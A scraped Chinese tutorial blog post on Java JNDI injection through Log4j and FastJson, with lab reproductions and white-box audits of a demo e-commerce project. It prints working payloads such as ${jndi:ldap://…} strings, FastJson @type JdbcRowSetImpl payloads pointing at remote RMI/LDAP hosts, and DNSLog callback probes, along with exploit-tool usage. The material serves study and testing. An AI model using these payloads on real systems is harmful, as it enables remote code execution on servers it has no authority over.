当前位置: 首页 > news >正文

企业网站wordpress营销型网站推广方式的论文

企业网站wordpress,营销型网站推广方式的论文,自己的主机做服务器网站如何备案,模板价格多少钱一平方目录 0x00 前言 0x01 Maven 仓库及配置 0x02 JNDI 注入简介 0x03 Java-第三方组件-Log4JJNDI 0x04 Java-第三方组件-FastJson反射 0x05 白盒审计 - FastJson 0x06 白盒审计 - Log4j 0x07 不回显的处理方法 0x00 前言 希望和各位大佬一起学习#xff0c;如果…目录 0x00 前言 0x01 Maven 仓库及配置 0x02 JNDI 注入简介 0x03 Java-第三方组件-Log4JJNDI 0x04 Java-第三方组件-FastJson反射 0x05 白盒审计 - FastJson 0x06 白盒审计 - Log4j 0x07 不回显的处理方法 0x00 前言 希望和各位大佬一起学习如果文章内容有错请多多指正谢谢  个人博客链接CH4SER的个人BLOG – Welcome To Ch4sers Blog 0x01 Maven 仓库及配置 Jar仓库Maven Repository: Search/Browse/Explore (mvnrepository.com) Maven配置IDEA配置Maven的超详细步骤_java_脚本之家 (jb51.net) 0x02 JNDI 注入简介 参考【精选】安全技术系列之JNDI注入_jndi注入原理-CSDN博客 Java Naming and Directory Interface (Java 命名和目录接口 )JNDI 提供统一的客户端 API通过不同的服务供应接口(SPI)的实现由管理者将 JNDI API 映射为特定的命名服务和目录服务使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。 简单来说JNDI 就是一个 Java 自带的 API可以实现远程打印、远程调用文件等。 可以看到在图中 JNDI 的下面有 LDAP 和 RMI 两个协议这两个协议是在 JNDI 注入过程中经常用到的可以实现远程调用执行 Java class 文件。 LDAP 是一种用于访问和维护分布式目录服务信息的协议广泛用于身份认证、访问控制和共享资源等领域。RMI是一种允许在分布式系统中进行远程方法调用的协议。 0x03 Java-第三方组件-Log4JJNDI 1、Log4j简介 Apache的一个开源项目通过使用Log4j我们可以控制日志信息输送的目的地是控制台、文件、GUI组件甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等我们也可以控制每一条日志的输出格式通过定义每一条日志信息的级别我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是这些可以通过一个配置文件来灵活地进行配置而不需要修改应用的代码。 简单来说Log4j就是一个Java的第三方组件用来对日志进行处理如果项目有日志需求就有可能用到Log4j。 历史漏洞https://avd.aliyun.com/search?qLog4j 2、简单测试 Log4j 漏洞 首先在 Maven 官网找到相应版本的 Log4j我这里用的是 2.14.1 版本粘贴到 pom.xml dependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-core/artifactIdversion2.14.1/version /dependency 创建一个 Log4jTest 的类来测试以下是代码注意这里包不要倒错了 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; 运行 main 函数后IDEA 控制台输出123 修改 Log4jTest 类的代码如下 运行 main 函数后IDEA 控制台输出了操作系统的信息也就是以 Java 代码执行了系统命令 那么思考一个问题如果 code 变量可控是不是可以进行漏洞利用了呢 新建一个 Web 项目模拟可控变量 code 的场景创建一个 Log4jServlet代码如下。 浏览器访问http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code%24{java%3aos} 这里我测试直接传入code${java:os}不行不让直接输入 {} 号所以进行了 URL 编码。最后IDEA 控制台同样输出了操作系统的信息。 3、工具测试 Log4j 漏洞 这里引入一款 JNDI 注入工具JNDI-Injection-Exploit这款工具可以生成一个 class 文件供远程访问并附带 JNDI 链接可以将这些链接插入 POC 以测试漏洞。 具体使用方法如下 # java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]其中: -C 远程class文件中要执行的命令 -A 服务器地址可以是IP地址或者域名注意: 要确保 1099、1389、8180端口可用不被其他程序占用 或者你也可以在run.ServerStart类26~28行更改默认端口 实验时我用的 Kali 虚拟机来运行的 JNDI-Injection-Exploit 工具。本来想用腾讯云的 CentOS但是测试发现进行 JNDI 注入后 Web 项目的主机即我的物理机没有成功访问 Kali 上的 class 文件可能是防火墙策略的原因。 我的 Target Environment 是 JDK 1.8也就是运行 Web 项目的主机也即我的物理机所以应该选择如图所示的 RMI 或 LDAP 链接。 基于之前的项目环境构造 POC http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code${jndi:ldap://192.168.1.10:1389/hjrijn} 经过 URL 编码后为 http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code%24%7bjndi%3aldap%3a%2f%2f192.168.1.10%3a1389%2fhjrijn%7d 成功弹出计算器如图 观察到 Kali 这边输出了日志并且可以看到生成的 class 文件位置。 总结触发JNDI 注入的原因开发源码中引用漏洞组件如 Log4j使用了组件里可能会触发漏洞的代码如 log.error并且有可控变量存在如这里的 $code 这里我相当于是白盒知道该 Web 项目引用了 Log4j 组件并且知道注入点是 code那么实战中黑盒如何知道对方有没有引用 Log4j 呢并且就算注入成功自己也无从知晓比如就算对方弹了计算器但我是看不到的那么又如何判断哪里是注入点呢 思路 Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j通过 DNSLog 测试有无回连比如构造 POC 为 ${jndi:ldap://xxx.dns.log} 去测试注入点 0x04 Java-第三方组件-FastJson反射 1、FastJson 简介 在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析其中json以跨语言跨前后端的优点在开发中被频繁使用基本上是标准的数据交换格式。它的接口简单易用已经被广泛使用在缓存序列化协议交互Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库用于对JSON格式的数据进行解析和打包。 Java 其实是有原生 Json 数据格式转换的但由于 FastJson 速度更快效率更高所以被广泛使用。 简单来说 FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。 历史漏洞https://avd.aliyun.com/search?qfastjson 2、简单测试 FastJson 同样先引用 FastJson 组件我使用的是 1.2.24 版本 dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.24/version /dependency 创建一个 User 类用来测试 FastJson 的数据格式转换 创建一个 FastjsonTest使用 FastJson 处理 User 类的数据转换 运行 main 函数后IDEA 控制台输出如下 可以看到使用 JSONObject.toJSONString 的 SerializerFeature.WriteClassName 参数时会附带上类名这也是漏洞利用的关键点。 将 JSON 格式字符串转换为对象的过程实质上就是反序列化的过程上述 JSON --- 对象 的代码中 String test {\type\:\com.example.FastjsonDemo.User\,\age\:23,\name\:\ch4ser\}; 反序列化的是 User 这个类。试想如果将在 com.example.FastjsonDemo 路径下创建一个新的类 Run代码如下 并且修改 type:com.example.FastjsonDemo.Run如下所示 String test {\type\:\com.example.FastjsonDemo.Run\,\age\:23,\name\:\ch4ser\}; 那么重新运行 main 函数就会反序列化 Run 这个类并且会触发 Run 这个类的无参构造方法 Run()最终弹出计算器。 但是问题来了这里我是做测试自己新建了一个类固定调用的但实战中明显是不现实的那么实战中应该如何操作呢 3、测试 javax.naming.InitialContext.lookup() 方法 在搞清楚实战中应该如何操作之前需要先引入 javax.naming.InitialContext.lookup() 这个方法。 也就是说Java 如果要调用某个类的话那就可以使用 InitialContext 这个类的 lookup 方法实现调用利用 RMI、LDAP等远程调用。基于安全角度看这个方法就是专门用于 JNDI 注入的。 创建一个 JndiDemo 来测试 lookup 方法代码如下 以上为使用 JNDI-Injection-Exploit 工具实测发现 LDAP可以弹出计算器而 RMI 不行。 重新引入一款工具Marshalsec和 JNDI-Injection-Exploit 工具不同的是它内置一些绕过限制的功能。 使用这款工具需要自己先写一个类然后编译成 class 文件并放到 Marshalsec 服务端也就是我的 Kali的网站目录下。 在 IDEA 终端编译 Run 类为 class 文件并放到 Kali 网站目录下默认是 /var/www/html。 修改 JndiDemo 测试代码 启动 Marshalsec 工具运行 main 函数后发现 Server 端收到了请求但是 Win11 并没有弹出计算器。问了群里大佬说可能是工具问题我看小迪用的时候也是有问题。 4、Fastjson 漏洞复现 模拟一个使用 Fastjson 组件的网站前端代码如下 后端代码如下 查看网上别人的 Fastjson 利用 Payload 为 Payload 1 {type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl}Payload 2 {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://dnslog.cn地址/zcc,autoCommit:true} 启动 JNDI-Injection-Exploit 工具构造 Payload 并填入成功弹出计算器 还是回到之前那个问题实战中无法自己创建恶意类固定调用那这里又是如何实现调用的呢 原因是以上 Payload 中 指定的 com.sun.rowset.JdbcRowSetImpl 类调用了 InitialContext.lookup() 方法。 Java 中还有其他类调用了 InitialContext.lookup() 方法如下 1、在RMI服务中调用了InitialContext.lookup()的类有org.springframework.transaction.jta.JtaTransactionManager.readObject()com.sun.rowset.JdbcRowSetImpl.execute()javax.management.remote.rmi.RMIConnector.connect()org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)2、在LDAP服务中调用了InitialContext.lookup()的类有InitialDirContext.lookup()Spring LdapTemplate.lookup()LdapTemplate.lookupContext() 现在我把项目的 JDK 版本由 1.8.0_131 换成 17.0.2 之后还是原先的 Payload发现数据还是能正常接收但是计算器不弹了。 这是由于官方针对不同 JDK 版本做出了一些限制也就是说高版本的 JDK 会影响 JNDI 注入RMI、LDAP具体如下 JDK 6u45、7u21之后 java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时 将禁用自动加载远程类文件仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。 使用这个属性来防止客户端VM从其他Codebase地址上动态加载类增加了RMI ClassLoader的安全性。JDK 6u141、7u131、8u121之后 增加了com.sun.jndi.rmi.object.trustURLCodebase选项默认为false禁止RMI和CORBA协议使用远程codebase的选项 因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。JDK 6u211、7u201、8u191之后 增加了com.sun.jndi.ldap.object.trustURLCodebase选项默认为false 禁止LDAP协议使用远程codebase的选项把LDAP协议的攻击途径也给禁了。 0x05 白盒审计 - FastJson 迷你天猫商城一个基于Spring Boot的综合性B2C电商平台需求设计主要参考天猫商城的购物流程用户从注册开始到完成登录浏览商品加入购物车进行下单确认收货评价等一系列操作。 作为迷你天猫商城的核心组成部分之一天猫数据管理后台包含商品管理订单管理类别管理用户管理和交易额统计等模块实现了对整个商城的一站式管理和维护。 项目环境搭建首先配置好 Git然后 Maven 点击 clean 和 install再配置数据库连接信息最后即可启动。 审计过程 直接全局搜索 JSON.parse 或 JSON.parseObject看到有四个地方用了 JSON.parseObject表明使用了 FastJson 组件并使用了相关反序列化漏洞函数随机跟进一个 跟进传入的参数值 propertyJson得知该值为 产品属性 JSON 数据并且通过 RequestMapping 路由得知该功能点大概率是后台管理员添加产品的界面反序列化的对象也即为产品信息 在 pom.xml 里搜索 fastjson得知项目所使用的 FastJson 版本为 1.2.58查阅漏洞库得知该版本存在漏洞 登录后台测试添加产品并用 BurpSuite 抓包看到确实有 propertyJson 这个值传递于是下一步直接构造 payload 复现 构造 payload测试出网回显调用访问这里 DNSLog 地址我用的 Yakit 生成的 {type:java.net.Inet4Address,val:ldap://192.168.139.1:1389/eg5vto} 改包发包之后在 Yakit 这边看到连接证明可以出网 0x06 白盒审计 - Log4j 同样先全局搜索 logger.info 或 logger.error搜索结果很多但有可控变量的才能被利用 跟进发现路由地址为 admin/uploadAdminHeadImage变量 originalFileName 值是获取的上传头像的文件名并且推测功能点应该是后台管理员头像上传界面 在 pom.xml 里搜索 log4j得知项目所使用的 Log4j 版本为 2.10.0查阅漏洞库得知该版本存在漏洞 登录后台测试上传管理员头像并用 BurpSuite 抓包看到路径确实是 admin/uploadAdminHeadImage于是下一步直接构造 payload 传入 filename 值即可 构造 payload测试出网回显调用访问这里 Yakit 抽风了我用的 DNSLog.cn ${jndi:ldap://endjri.dnslog.cn} 改包发包之后在 DNSLog.cn 这边看到连接证明可以出网 使用 JNDI-Injection-Exploit尝试弹出计算器我这里 JDK 版本是 8u131 测试结果为RMI不行LDAP可以。原因还是和之前的一样高版本的 JDK 会影响 JNDI 注入 0x07 不回显的处理方法 直接将执行结果写入到静态资源文件里如 HTML、JavaScript 等然后访问通过 DNSLog 进行数据外带但如果无法执行 DNS 请求就无法验证了接将命令执行结果回显到 HTTP 响应中 参考面试长问|Fastjson不出网利用总结 (qq.com)
http://www.huolong8.cn/news/216377/

相关文章:

  • 怎么做cc网站成功案例网站建设
  • qml 网站开发秦皇岛制作网站
  • 怎么用别人网站做模板写软文的app
  • 阿里巴巴做网站的电话号码wordpress首页小工具
  • 公司网站怎么优化电子商务平台经营者
  • 箱包网站建设策划报告网站建设说明
  • 怎么查网站备案域名eroticalia wordpress
  • wordpress lamp 建站手机网站建设代理商
  • 做淘宝客网站要多少钱做电影网站被找版权问题怎么处理
  • 网站流程示意网站建设 培训 南充
  • 扒站wordpress主题体育台球直播在线观看
  • 代码中可以做自己的网站吗网站建设与规划总结怎么写
  • wordpress申请子站长沙大型网络网站制作公司
  • 网站标题图片怎么做网站推广分为哪几个部分
  • 网站建设的必要性’企业官网定制设计开发
  • 免费企业网站后台电子商务网站的建设课件
  • 网站做拓扑图编辑企业查询系统官网河北
  • 汉滨区城乡建设规划局 网站400电话 网站建设
  • 山西建设厅网站查不了域名频道注册域名
  • 做360手机网站永州网站开发
  • 东风地区网站建设价格低国内知名的网站设计公司
  • 怎么做p2p网站培训机构怎么找
  • 国外做机械设计任务的网站戴尔官方网站建设启示
  • 网站建设成本控制软件定制官网
  • 联合易网做网站工程建设施工企业质量管理规范
  • 北京网站建设 一流自己做pc网站建设
  • 网站百度收录重庆建设网站哪家专业
  • 网站建设网站设计哪家专业用dw制作个介绍家乡网站
  • 创建自己的网站哈尔滨建设工程招标网
  • 网站建设 服务质量保证设计大型网站建设